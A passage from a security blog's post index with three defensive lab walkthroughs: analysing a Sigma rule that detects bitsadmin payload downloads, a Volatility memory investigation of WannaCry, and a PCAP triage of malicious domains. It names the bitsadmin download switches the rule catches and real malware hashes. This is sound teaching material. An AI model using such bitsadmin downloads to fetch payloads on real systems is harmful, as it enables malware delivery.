","date":"2025-11-23T00:00:00Z","image":"/posts/stumblesoc-blog-stories-the-vibe-coding-compromise/63e8b2c7042ee06bcf5ea662298b9f00_MD5.JPG","permalink":"/posts/stumblesoc-blog-stories-the-vibe-coding-compromise/","title":"StumbleSOC Blog Stories  — The Vibe Coding Compromise"},{"content":"LetsDefend — Learn Sigma Challenge Walkthrough A Beginner\u0026rsquo;s Challenge in Sigma Rule Analysis. https://app.letsdefend.io/challenge/learn-sigma\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog while looking for a detailed guide to the Learn Sigma challenge from LetsDefend, you\u0026rsquo;re in the right place. If you\u0026rsquo;ve ever been curious about Sigma rules or how to read them, this beginner-friendly challenge is for you!\nChallenge Scenario: Your organization has detected a ransomware infection on one of its critical systems, and it is imperative that you address this issue immediately. This type of malware searches for valuable files, such as sensitive documents and configuration files, and encrypts them using a strong encryption algorithm.\nThe investigation has revealed that the ransomware may have used the Windows utility bitsadmin.exe to download additional malicious payloads or communicate with its command-and-control (C2) server.\nYour task is to carefully review the Sigma rule, answer the related questions, and understand how different rule sections (selection, condition, fields, tags, logsource) work together to detect malicious activity.\nFor this challenge, we\u0026rsquo;re putting on our detection engineering hats and need to leverage a Sigma rule to analyze logs related to a ransomware infection. But first, we need to review the rule, understand how it works, and clarify what\u0026rsquo;s in scope — just to be sure we don\u0026rsquo;t miss anything.\nIf any of this sounds new or confusing, don\u0026rsquo;t worry! I\u0026rsquo;ll walk through each step clearly, and by the end, you\u0026rsquo;ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nSigma Rules 101: Before we jump into this challenge, let\u0026rsquo;s have a quick, informational overview of what Sigma rules are and how they\u0026rsquo;re structured to better inform our answers. For this, we\u0026rsquo;ll lean on the excellent Sigma documentation available here:\nExplore Sigma _A generic and open signature format that allows you to describe relevant log events in a straight-forward manner._sigmahq.io\nFrom the documentation, we can understand that Sigma rules are \u0026quot; # \u0026quot;\n_YAML_ files that contain all the information required to detect odd, bad or malicious behaviour when inspecting log files €“ usually within the context of a SIEM_.\u0026ldquo;Put another way, Sigma rules can be used to identify targeted suspicious or malicious activity by matching patterns against log data.\nTo organize these rules in a uniform schema, Sigma rules contain three primary sections:\nDetection: \u0026quot; # \u0026ldquo;What malicious behaviour the rule searching for.\u0026ldquo;2. Logsource: \u0026quot; # \u0026ldquo;What types of logs this detection should search over.\u0026ldquo;3. Metadata: \u0026quot; # \u0026ldquo;Other information about the detection.\u0026ldquo;With this basic understanding, we\u0026rsquo;re well-equipped to take on this challenge and analyze the Sigma rule! I encourage you to check out the documentation if you\u0026rsquo;re curious and want more detailed information. Let\u0026rsquo;s get to it! Question 1: Which executable file was specifically targeted by this Sigma rule? Go ahead and open the ChallengeFile folder, where we\u0026rsquo;ll find the Sigma rule contained in the proc_creation_win_bitsadmin_download.yml. This is the YAML file we\u0026rsquo;ll need to analyze.\nTo review the contents, we can open the YAML file in a text editor. For this walkthrough, I\u0026rsquo;ll be using Notepad++ since it makes it easier to view and explain structured files like this. With the file open, we need to identify which executable file is targeted by the rule.\nNotepad++: Identifying the executable file targeted by the Sigma rule\nOn line 23, under the Detection section, we can see that in the selection_img field, the rule is targeting bitsadmin.exe. Bitsadmin is a legitimate Windows binary used to create, download, or upload jobs and to monitor their progress. However, it can also be abused by attackers to download malware or other malicious payloads (see MITRE ATT\u0026amp;CK T1197 — BITS Jobs).\nQuestion 2: What command-line option is used to indicate a file transfer in this rule? Next, we need to determine which Bitsadmin command-line option is used to perform a file transfer with the tool. We can find this on line 26, where the selection_cmd field is targeting the /transfer command-line switch.\nNotepad++: Identifying the command-line option in the Sigma rule\nThe presence of the /transfer switch tells us that the rule is searching for the use of bitsadmin in the context of file transfer activity.\nQuestion 3: What logical expression in the condition field combined the criteria to trigger this rule? To answer Question 3, we\u0026rsquo;ll need to identify the logical expression in the condition field that defines the criteria for the rule to trigger. This combination ties together the definitions we explored in the previous questions to build the rule\u0026rsquo;s logic.\nWe can find the condition field on line 33, where it shows:\nselection_img and (selection_cmd or all of selection_cli_*)\nNotepad++: Identifying the condition field in the Sigma rule\nSo, what does this mean? It means the detection rule is searching for bitsadmin.exe activity with the /transfer argument or where the CommandLine field contains /create, /addfile, and http—all of which are strong indicators of file download activity.\nQuestion 4: Which specific field did this rule capture that shows the command being executed? We touched on this in Question 2, but to answer Question 4 we need to determine the specific field the rule captures that shows the command being executed.\nWe can find this information on line 34, under the fields section of the rule.\nNotepad++: Identifying the CommandLine field in the Sigma rule\nThis tells us that the CommandLine field must be present for the rule to run. That field is where the rule looks for command-line definitions like /transfer, or the combination of values in the selection_cli_* group — including /create, /addfile, and http.\nQuestion 5: Which single ATT\u0026amp;CK tactic tag is listed first in this rule? To answer Question 5, we\u0026rsquo;ll turn our attention to the Metadata section near the top of the rule. Under the tags field, we\u0026rsquo;ll see a list of ATT\u0026amp;CK tactic and technique references.\nNotepad++: Identifying the first MITRE ATT\u0026amp;CK tactic listed in the Sigma rule\nThe answer to the question is the first item in the list on line 13: attack.defense-evasion. The attack. prefix tells us this is a MITRE ATT\u0026amp;CK reference. In this case, the first tactic listed is TA0005 €“ Defense Evasion:\nDefense Evasion _Build Image on Host Adversaries may build a container image directly on a host to bypass defenses that monitor for the\u0026hellip;_attack.mitre.org\nQuestion 6: What is the primary category of events that this Sigma rule was written to monitor? The next component of this Sigma rule we need to analyze is the Logsource section, starting on line 18. Remember from our Sigma overview that this section \u0026ldquo;is used to specify what log data should be searched by the rule.\u0026rdquo;\nNotepad++: Identifying the primary Logsource category in the Sigma rule\nThe category field indicates the type of events being monitored. In this case, the rule is written to detect Windows process creation events (usually Event ID 4688), which is a common source for identifying suspicious command-line execution — keep that one in your back pocket!\nQuestion 7: What specific command-line argument did this rule look for to identify HTTP-based downloads? We touched on command-line arguments targeted by the rule back in Question 3 and Question 4. Recall that one of the conditions included a check for http.\nNotepad++: Identifying the http command-line option in the Sigma rule\nThis helps identify suspicious or malicious use of bitsadmin to grab payloads over HTTP.\nQuestion 8: Which command-line option must be present to create a new transfer using bitsadmin? We\u0026rsquo;ve made it to the last question of our Sigma rule analysis — nice job! The final object we need to identify is another one we touched on in Question 3 and Question 4.\nTo answer Question 8, we\u0026rsquo;ll want to look at line 29, which shows the /create value. In the context of bitsadmin, the /create argument is used to initiate a new transfer job — which is exactly what we need to wrap up our analysis!\nNotepad++: Identifying the /create command-line option in the Sigma rule\nConclusion: How fun was that? A big thank you to LetsDefend for putting together another solid, beginner-friendly challenge.\nThis investigation was a great introduction to Sigma rules and how they\u0026rsquo;re used to detect suspicious behavior in log data. We explored how rules are structured, how they leverage fields like CommandLine, and how they align with MITRE ATT\u0026amp;CK tactics like Defense Evasion. From identifying the use of bitsadmin.exe, to parsing command-line arguments like /transfer, /create, and http, this challenge gave us a hands-on look at how Sigma expresses detection logic in a readable, flexible format.\nI chose this challenge to sharpen my detection engineering workflow and get reacquainted with Sigma\u0026rsquo;s YAML structure, since I don\u0026rsquo;t typically work with Sigma rules directly. Instead, I usually convert them to my required SIEM or log format for the application at hand — which can be really helpful if you want to leverage Sigma rules but use a different solution like Splunk, Microsoft, Elastic, etc.\nThis challenge was also a great opportunity to slow down and take the extra time to research the answers, not just search for them. That deeper dive helped me build a true understanding of how the rule works and why each component matters. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap and consider following me for more content like this! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/learn-sigma\nNotepad++: https://notepad-plus-plus.org/\nSigma GitHub: https://github.com/SigmaHQ/sigma\nSigma Documentation: https://sigmahq.io/docs/basics/rules.html\nMicrosoft Learn — Bitsadmin: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin\nMITRE ATT\u0026amp;CK — BITS Jobs (T1197): https://attack.mitre.org/techniques/T1197/\nMITRE ATT\u0026amp;CK — Defense Evasion (TA0005): https://attack.mitre.org/tactics/TA0005/\n","date":"2025-11-10T00:00:00Z","image":"/posts/letsdefend-learn-sigma-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png","permalink":"/posts/letsdefend-learn-sigma-challenge-walkthrough/","title":"LetsDefend  —  Learn Sigma Challenge Walkthrough"},{"content":"Blue Team Labs Online | Memory Analysis — Ransomware | Walkthrough A Memory Analysis Challenge Using Volatility 2.6. Image Credit: https://blueteamlabs.online/home/challenge/memory-analysis-ransomware-7da6c9244d\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Memory Analysis — Ransomware blue team challenge from Blue Team Labs Online, you’re in the right place.\nThis challenge is a great entry point into the world of memory forensics, process analysis, and threat intelligence. But don’t worry — whether you’re just getting started in incident response or you’ve already built up some muscle memory with Volatility, there’s plenty here to learn.\nLet’s check out the scenario to get started:\nChallenge Scenario: The Account Executive called the SOC earlier and sounds very frustrated and angry. He stated he can’t access any files on his computer and keeps receiving a pop-up stating that his files have been encrypted. You disconnected the computer from the network and extracted the memory dump of his machine and started analyzing it with Volatility. Continue your investigation to uncover how the ransomware works and how to stop it!\nYikes! This challenge puts us squarely in the middle of a ransomware investigation. We’ll be using Volatility to analyze the memory dump, identify suspicious processes, extract forensic artifacts, and ultimately confirm the ransomware family involved. Along the way, we’ll pivot to tools like VirusTotal and use command-line utilities to hash and verify dumped binaries.\nI’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let’s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! When working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range), it’s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I’m using REMnux, a specialized Linux distribution for malware analysis.\nTo keep this write-up focused, I’m going to skip step-by-step setup directions of REMnux, but if you’d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:\n[Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- \u0026ndash;d2311959d5f3\u0026mdash; \u0026ndash; \u0026ldquo;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- \u0026ndash;d2311959d5f3\u0026mdash; \u0026ndash;\u0026rdquo;)[](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- \u0026ndash;d2311959d5f3\u0026mdash; \u0026ndash;)\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: Run “vol.py -f infected.vmem — profile=Win7SP1x86 psscan” that will list all processes. What is the name of the suspicious process? Let’s kick off our memory dump investigation. To analyze the contents of the memory dump file, infected.vmem, we’ll use Volatility, a popular memory forensics tool. There are a couple of versions of Volatility: Volatility 2.6 (the original, no longer in active development) and Volatility 3 (in active development).\nOverview of the Challenge File Folder\nSo, which one should we choose? The question is asking us to use the OS profile switch for Win7SP1x86, which tells us we need to use Volatility 2 (which I’ll just call Volatility from here on out). In Volatility 3, OS profiles aren’t needed — it uses a different plugin architecture and auto-detection mechanisms.\nOne last helpful piece of background: we can access the Volatility command reference on the project’s GitHub, which helps us understand what each command is doing:\nCommand Reference _An advanced memory forensics framework. Contribute to volatilityfoundation/volatility development by creating an…_github.com\nNow that we’ve gotten all our ducks in a row, let’s get to work!\nStart by opening a terminal in the folder containing the infected.vmem file and executing the command from the question:\nvol.py -f infected.vmem \u0026ndash;profile=Win7SP1x86 psscan\nThis command opens Volatility and parses the infected.vmem image file using the psscan plugin. According to the documentation:\nTo enumerate processes using pool tag scanning (_POOL_HEADER), use the psscan command. This can find processes that previously terminated (inactive) and processes that have been hidden or unlinked by a rootkit.\nThe psscan output shows us all processes running on the victim’s system at the time of capture. It might look a little daunting at first, but there are a couple of odd-looking processes in the list:\n@WanaDecryptor or4qtckT.exe Volatility: Identifying Suspicious Processes with psscan\nFor the purposes of this investigation, we’ll focus on WanaDecryptor for a couple of reasons:\nThe name is similar to a famous ransomware campaign. There are two instances: one terminated and one still active. The second process is the parent, which we’ll need to answer Question 2. Questions 2 \u0026amp; 3: What is the parent process ID for the suspicious process? What is the initial malicious executable that created this process? I might’ve spoiled it in the last question, but to answer Question 2, we need to provide the parent process ID (PPID) of the suspicious process from the psscan results. We can identify this by looking at the PPID column for the suspicious process line.\nVolatility: Identifying the Suspicious Process PPID\nThe PPID matches the process ID (PID) of the second suspicious process we identified: or4qtckT.exe. This means it’s the parent process that created the suspicious process from Question 1.\nVolatility: Identifying the Suspicious Parent Executable\nTo answer Question 3, we now know that or4qtckT.exe is the initial malicious executable that spawned the process we flagged earlier which helps to establish the relationship in the attack chain.\nQuestion 4: If you drill down on the suspicious PID (vol.py -f infected.vmem — profile=Win7SP1x86 psscan | grep (PIDhere)), find the process used to delete files For our next task, we’re going to continue analyzing the output from the psscan plugin. This time, we\u0026rsquo;re going to leverage grep to display only the entries related to the PID of or4qtckT.exe, which we uncovered in the last question. Here\u0026rsquo;s the command:\nvol.py -f infected.vmem \u0026ndash;profile=Win7SP1x86 psscan | grep 2732\nThe output helps us quickly identify a second child executable: taskdl.exe. It shares the same PPID as the first one. While we don\u0026rsquo;t yet have further analysis of this binary, the fact that the malicious executable spawned both processes allows us to reasonably guess that this is the process used to delete files.\nVolatility: Identifying a Second Process with the Malicious Parent Process\nQuestion 5: Find the path where the malicious file was first executed Moving right along to Question 5, we’ll need to pivot away from psscan to another module. When determining the right one to use, it can be really useful to pull up Volatility\u0026rsquo;s help menu and review the options. You can access it with the command:\nvol.py -h\nBased on the available options, it seems like the cmdline module will fit the bill, as it’s used to “display process command-line arguments.” Let’s give it a try with a quick adjustment to our command. We’ll combine the cmdline function with grep to focus on the malware or4qtckT.exe:\nvol.py -f infected.vmem \u0026ndash;profile=Win7SP1x86 cmdline | grep 2732\nVolatility: Identifying the Malware File Location with cmdline\nAwesome! This gives us exactly what we needed — the file path of the executable, right on the “hacker’s” desktop.\nQuestion 6: Can you identify what ransomware it is? (Do your research!) Now that we’ve identified the malicious executable and its child processes, it’s time to pivot to threat intelligence to figure out what ransomware family we’re dealing with. The approach is straightforward: obtain the file hash for or4qtckT.exe, check VirusTotal, and use the intelligence to confirm the ransomware family.\nFirst, we’ll dump the executable using Volatility’s procdump command, specifying the PID we found in Question 2:\nvol.py -f infected.vmem \u0026ndash;profile=Win7SP1x86 procdump \u0026ndash;pid=2732 \u0026ndash;dump-dir OUTPUTDIRECTORY\nVolatility: Dumping the malicious executable with prodcump \u0026amp; obtaining the file hash\nWith the executable dumped, we can calculate the SHA-256 file hash using sha256sum command:\n5215d03bf5b6db206a3da5dde0a6cbefc8b4fee2f84b99109b0fce07bd2246d6\nNext, head to VirusTotal, and input the file hash in the search box. We’ll see immediately that this sample has been analyzed on the platform already and that a majority of vendors have tagged it as malicious.\nhttps://www.virustotal.com/gui/file/5215d03bf5b6db206a3da5dde0a6cbefc8b4fee2f84b99109b0fce07bd2246d6\nTo answer Question 6, we’re interested in the Family and Threat Label tags, identifying this file as part of the WannaCry ransomware family. This lines up with the naming similarity we stumbled on earlier in Question 1, which solidifies the findings.\nQuestion 7: What is the filename for the file with the ransomware public key that was used to encrypt the private key? (.eky extension) We’ve made it to the final question, and this one asks us to find the filename of the ransomware public key with the .eky extension. This is a little outside the usual scope of the challenge, but .eky isn’t a common file extension. It’s most often associated with the WannaCry ransomware family, which fits with what we found in Question 6.\nSo, how do we find it? We’ll use another Volatility module: dumpfiles. This lets us check other files cached in memory for the PID tied to the malicious process. The command looks similar to the one we use in Question 6:\nvol.py -f infected.vmem \u0026ndash;profile=Win7SP1x86 dumpfiles \u0026ndash;pid=2732 \u0026ndash;dump-dir OUTPUTDIRECTORY\nVolatility: Dumping the associated files for the malicious PID with dumpfiles\nWhen we run this command, the associated files dump to the specified directory, and the listing also prints to the console. From that output, we see the first two lines contain the filename 00000000.eky. That’s the key file we need to wrap up this investigation!\nConclusion: How fun was that? A big thank you to Blue Team Labs Online for putting together another solid challenge.\nThis investigation was a breezy introduction to Volatility and ransomware behavior. It’s a great example of how memory analysis can reveal the full scope of an attack — from identifying suspicious processes with psscan, to extracting binaries with procdump, and finally confirming the ransomware family via threat intelligence — even when disk artifacts aren\u0026rsquo;t available.\nI chose this challenge to sharpen my incident response workflow and get reacquainted with Volatility, especially in scenarios where ransomware is involved. The investigation pushed me to pivot between modules, apply threat intelligence, do some research about this ransomware, and yes — stumble across clues like the .eky file. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://blueteamlabs.online/home/challenge/memory-analysis-ransomware-7da6c9244d\nREMnux: https://remnux.org/\nVolatility: https://volatilityfoundation.org/the-volatility-framework/\nVolatility — Command Reference: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#psscan\nVirusTotal: https://www.virustotal.com/\nVirusTotal — Sample: https://www.virustotal.com/gui/file/5215d03bf5b6db206a3da5dde0a6cbefc8b4fee2f84b99109b0fce07bd2246d6\nMITRE ATT\u0026amp;CK — Software — WannaCry (S0366): https://attack.mitre.org/software/S0366/\n","date":"2025-11-03T00:00:00Z","image":"/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/0037ab8d5c5aae296c9051435dce93c8_MD5.png","permalink":"/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/","title":"Blue Team Labs Online  — Memory Analysis - Ransomware Walkthrough"},{"content":"TryHackMe — Warzone 2 Room Walkthrough A Second Network Packet Capture Investigation Using Brim/Zui, Network Miner, and VirusTotal. Image Credit: https://tryhackme.com/room/warzonetwo\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Warzone 2 room from TryHackMe, you’re in the right place. This challenge is the second in a series of fantastic rooms aimed at introducing you to forensic network packet analysis using some lesser-known tools.\nIf you want to follow along in order, you can start with the Warzone 1 room first:\nTryHackMe — Warzone 1 Room Walkthrough\nChallenge Scenario: You work as a Tier 1 Security Analyst L1 for a Managed Security Service Provider (MSSP). Again, you’re tasked with monitoring network alerts.\nAn alert triggered: Misc activity, A Network Trojan Was Detected, and Potential Corporate Privacy Violation.\nThe case was assigned to you. Inspect the PCAP and retrieve the artifacts to confirm this alert is a true positive.\nIn this challenge, we’re stepping back into the shoes of a Security Analyst at an MSSP, monitoring network traffic alerts for one of your customers when suddenly, an alert fires from their IDS/IPS. We’re given a network packet capture file, a PCAP, and need to quickly determine if this is a true positive by analyzing the artifacts within the traffic.\nNow that you’ve already got some experience, you might guess what’s in our toolkit for this investigation. We’ll be busting out Brim again to process, search, and analyze the PCAP, and then pivoting to Network Miner for a file analysis. We’ll also enrich our findings by consulting VirusTotal to add context to any indicators of compromise (IOCs) we discover.\nI’ll walk through each step clearly, and avoid spoiling the answer. By the end, you’ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let’s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nQuestion 1: What was the alert signature for A Network Trojan was Detected? Once in our analysis environment, let’s get acquainted with our toolset so we can start forming a plan. You’ll find everything we need in the Tools folder on the Desktop.\nContents of the Tools Folder\nTo answer Question 1, we’re searching for an alert signature. So, our first stop will be to use Brim (now called Zui) because it has the ability to use Suricata intrusion detection rules to help quickly identify threats or malicious traffic within the packet capture.\nGo ahead and launch it — and speaking of packet captures, once Brim is open, load the challenge file Zone2.pcap , and wait for it to process the capture file.\nBrim: Loading Zone2.pcap\nOnce the file is loaded, let’s get an overview of the Suricata rule hits detected in the network traffic. Select the Zone2.pcap file, click Suricata Alerts by Category under the Queries header, and review the displayed alert categories.\nBrim: Overview of Suricata Alerts by Category\nWe’re going to focus on a Network Trojan was detected since that’s what the question is asking about. Our next step is to find the alert signature for this category.\nTo do this, right-click the a Network Trojan was detected row and select New search with this value.\nBrim: Selecting New search with the a Network Trojan was detected value.\nThis selection adjusts the query to display packets matching the Suricata rule — and more importantly, it reveals the details we need to answer Question 1 under the alert.signature column.\nBrim: Identifying the alert signature\nQuestion 2: What was the alert signature for Potential Corporate Privacy Violation? Our next task is to determine the alert signature for a second alert category: Potential Corporate Privacy Violation.\nFor this, we’ll simply perform the same process we used in Question 1 — select New search with this value for the Potential Corporate Privacy Violation category.\nBrim: Selecting New search with the a Potential Corporate Privacy Violation value.\nThis time, we’ll see a different alert.signature value compared to Question 1.\nBrim: Identifying the alert signature.\nQuestion 3: What was the IP to trigger either alert? Enter your answer in a defanged format. Answering Question 3 requires us to determine the IP address that triggered either alert. The wording is a bit confusing, but we’re looking for the source IP address (src_ip) associated with the HTTP file download. Either alert will display the same information.\nBrim: Identifying the source IP of the alert\nBefore we can submit the answer, we need to defang the IP address. This is a common practice to ensure that malicious IPs and URLs aren’t accidentally clicked or activated. While this is easy to do manually, let’s work a little smarter and use CyberChef for the task.\nThe offline version of CyberChef is included in the Tools folder, but the online version works just as well. To defang the source IP address:\nOpen CyberChef. Select the Defang IP Addresses operation. Paste the source IP address into the Input field. And voilà — we have the defanged IP address.\nQuestion 4: Provide the full URI for the malicious downloaded file. In your answer, defang the URI. Now that we’ve identified a suspicious IP address, we can pivot our search and focus on that address. To do this, simply open a new tab in Brim and enter the IP address to view the results.\nWithout any additional filtering, you’ll see that the first result with the notice label contains the full URL of a downloaded .cab file.\nBrim: Finding the URL of the malicious download\nOnce again, before we submit the answer, we’ll need to hop into CyberChef to defang the URL.\nCyberChef: Defanging the URL of the malicious download\nQuestion 5: What is the name of the payload within the cab file? To answer Question 5, we’ll turn our attention to examining the malicious .cab file we identified in the last question. For this job, we’re going to make a quick detour in our tooling and swap over to Network Miner, also contained in the Tools folder on the Desktop.\nOpen up Network Miner and load the Zone2.pcap. This is where Network Miner shines — it can easily parse, identify, and categorize various elements within the network traffic streams, including reassembling files. This will make determining the contents of the .cab file much easier.\nLet’s put this into practice and select the Files tab. The top entry filename might look familiar — this is the .cab file we’re looking for.\nNow, a quick note on .cab files: they’re short for cabinet files, a native Windows archive format used to compress and bundle files, often for software installation. That makes them a perfect disguise for attackers trying to sneak payloads past defenses. If you stumble across one in a network capture, it may be worth a closer look.\nNetwork Miner: Grabbing the file hash of the malicious file\nRather than do any analysis directly on the file, we’ll pivot out to VirusTotal to check if this sample has been submitted to the platform before. For this, we’ll need the hash of the .cab file, which we can get by double-clicking the entry in Network Miner and copying the SHA256 hash.\nNow that we have the file hash, use your web browser outside of the TryHackMe VM (since it doesn’t have direct internet access) and navigate to https://virustotal.com. Submit the copied file hash into the search box to see the results.\nhttps://www.virustotal.com/gui/file/3769a84dbe7ba74ad7b0b355a864483d3562888a67806082ff094a56ce73bf7e\nImmediately, we’ll see that nearly all vendors on the platform have marked this file as malicious. But what we’re interested in is the file name field below the hash — this tells us the payload name within the .cab file and is what we’ll need to answer Question 5.\nQuestion 6: What is the user-agent associated with this network traffic? Question 6 requires us to determine the user-agent string associated with the network traffic. In legitimate use cases, these strings help identify the client browser or application connecting to a resource over HTTP. They can sometimes give us clues about the origin of a request, but unfortunately, they’re also easily spoofed, so we’ll treat them as hints, not hard evidence.\nWe can perform this task in either Network Miner or Brim. For the purposes of this walkthrough, I’ll demonstrate using Brim.\nSince we already have the search open for the source IP of the malicious traffic, we’ve got a head start. Remember how I mentioned user-agent strings apply to HTTP traffic? Focus on the row labeled http — this is where we’ll find the user_agent string.\nThis long string tells us a bit about the browser and operating system the victim used to retrieve the malicious .cab file. While deeper analysis is out of scope for this challenge, it’s a fun side activity to plug the string into a User Agent Lookup tool and see what you can learn. For example:\nhttps://www.whatismyip.net/tools/user-agent-lookup.php\nQuestion 7: What other domains do you see in the network traffic that are labelled as malicious by VirusTotal? Enter the domains defanged and in alphabetical order. (format: domain[.]zzz,domain[.]zzz) Now that we’ve gotten some additional context about the request, it’s time to return to our hunt for suspicious domains. This process combines the data in Brim with threat intelligence from VirusTotal.\nFirst, we’ll leverage Brim’s Unique DNS Queries page to determine all of the DNS requests in the traffic. You’ll find this query under the Queries menu.\nBrim: Viewing Unique DNS Queries\nThis will list out all of the DNS requests. Yikes — there are quite a few domains.\nSo, let’s head back to our VirusTotal search for the .cab file hash. Press the Relations tab and turn your attention to the Contacted Domains section. Here, we’ll find several domains contacted by this binary, complete with their own detection ratings.\nVirusTotal: Contacted Domains under Relations tab\nFocusing on the ones flagged as malicious, we can correlate them with the results back in Brim.\nNotice a problem? We’ve got more than two entries matching — but the question only wants two.\nNo problem! Let’s filter this down further by using the Suricata Alerts by Source and Destination tab. We’ve already analyzed the two labeled Potentially Bad Traffic and A Network Trojan was detected.\nBrim: Filtering by Misc activity alert\nInstead, we’ll check the one with the alert field labeled Misc activity and perform a new search.\nBrim: Identifying the malicious domains\nThis returns results for the IP associated with Misc activity, where we can find two domains that were also present in the DNS queries and flagged as malicious on VirusTotal. Correlating the results from these three views gives us high confidence in answering Question 7.\nNow all we need to do is defang them in CyberChef again and put them in alphabetical order.\nQuestion 8: There are IP addresses flagged as Not Suspicious Traffic. What are the IP addresses? Enter your answer in numerical order and defanged. (format: IPADDR,IPADDR) Back to the Suricata Alerts by Source and Destination tab. Question 8 asks us to analyze the alert tag Not Suspicious Traffic. Fortunately, the information is readily available, and we can quickly identify the IP addresses associated with this tag.\nBrim: Identifying IP addresses with the “Not Suspicious Traffic” tag.\nAs before, once we’ve located the IPs, we’ll head over to CyberChef. Paste the IPs into the input window in numerical order, apply the Defang IP Address operation, and you’ll have them formatted correctly for submission.\nQuestion 9: For the first IP address flagged as Not Suspicious Traffic. According to VirusTotal, there are several domains associated with this one IP address that was flagged as malicious. What were the domains you spotted in the network traffic associated with this IP address? Enter your answer in a defanged format. Enter your answer in alphabetical order, in a defanged format. (format: domain[.]zzz,domain[.]zzz,etc) Let’s dig into some analysis of the IP addresses marked as Not Suspicious Traffic from the previous question and validate the results.\nWe’ll start by searching for the first IP — the one beginning with 64. This will show us all associated log entries, but it’s a bit unwieldy to sort through. To make things easier, we can apply some filtering and focus on entries with a server_name tag, which helps us narrow down any associated domain names.\n|server_name\nBrim: Surfacing domain names associated with an IP address\nThis gives us three distinct domains associated with this IP address in the PCAP.\nLet’s jump back over to VirusTotal and search the IP address, navigating to the Relations tab. Take a look at the Passive DNS Replication area — notice anything interesting?\nVirusTotal: Correlating domain names with threat intelligence\nAll three domains we surfaced in Brim also appear in the VirusTotal entry, complete with indicators of malicious activity. It turns out this IP is more suspicious than we originally believed.\nQuestion 10: Now for the second IP marked as Not Suspicious Traffic. What was the domain you spotted in the network traffic associated with this IP address? Enter your answer in a defanged format. (format: domain[.]zzz) We’ve made it to the last question! Our final objective is to analyze the second IP we found in Question 8 labeled Not Suspicious Traffic.\nBrim: The second IP address labeled “Not Suspicious Traffic”\nThen, we’ll perform the same steps we did for Question 9 — search the IP address and filter the entries for the server_name tag. Once we have the results, there’s only a single domain listed. That’s the one we need to wrap up this investigation.\nBrim: Surfacing domain names associated with a second IP address\nBefore you defang the answer, if you’re curious, you can check this result on VirusTotal as well. At the time of this writing, this domain does indeed appear to be not suspicious. That’s a good reminder to always cross-check your results to make a more informed determination about a threat.\nIt also serves as a reminder that indicators of compromise, like domains, are easy for a threat actor to change. Timely threat intelligence can make all the difference!\nConclusion: How fun was that! A big thank you to TryHackMe for the part two of this fun and realistic challenge.\nBy once again analyzing the PCAP file containing suspicious network traffic using Brim and Network Miner, and enriching our findings with VirusTotal, we successfully identified several malicious IP addresses and domains associated with a threat actor. Then we determined what files were downloaded from the malicious infrastructure and learned more about the threat. Putting all the evidence together, we can confirm the alert as a true positive and move on to the containment phase.\nI chose this weekly challenge to spend more hands-on time with Brim/Zui and the awesome Suricata rules built in. I also really appreciate the immense capabilities of Network Miner — I’m always impressed by how easy it is to use, and how much depth it offers particularly for quick file analysis and reassembly. In the real world, I’ve used both tools numerous times to visualize data in a PCAP and uncover information that was time-consuming and difficult to find using other tools. It’s absolutely worth keeping in the kit.\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!\nIt’s a Warzone out there, stay curious and be safe!\nTools \u0026amp; References: Challenge Link: https://tryhackme.com/room/warzonetwo\nBrim/ZUI: https://zui.brimdata.io/\nNetwork Miner: https://www.netresec.com/?page=NetworkMiner\nVirusTotal: https://www.virustotal.com/\nCyberChef: https://gchq.github.io/CyberChef/\nWhatIsMyIP — User Agent Lookup: https://www.whatismyip.net/tools/user-agent-lookup.php\n","date":"2025-10-19T00:00:00Z","image":"/posts/tryhackme-warzone-2-room-walkthrough/5ffddce88b37c3ca1e78c641dcfee3fd_MD5.png","permalink":"/posts/tryhackme-warzone-2-room-walkthrough/","title":"TryHackMe  —  Warzone 2 Room Walkthrough"},{"content":"CyberDefenders — 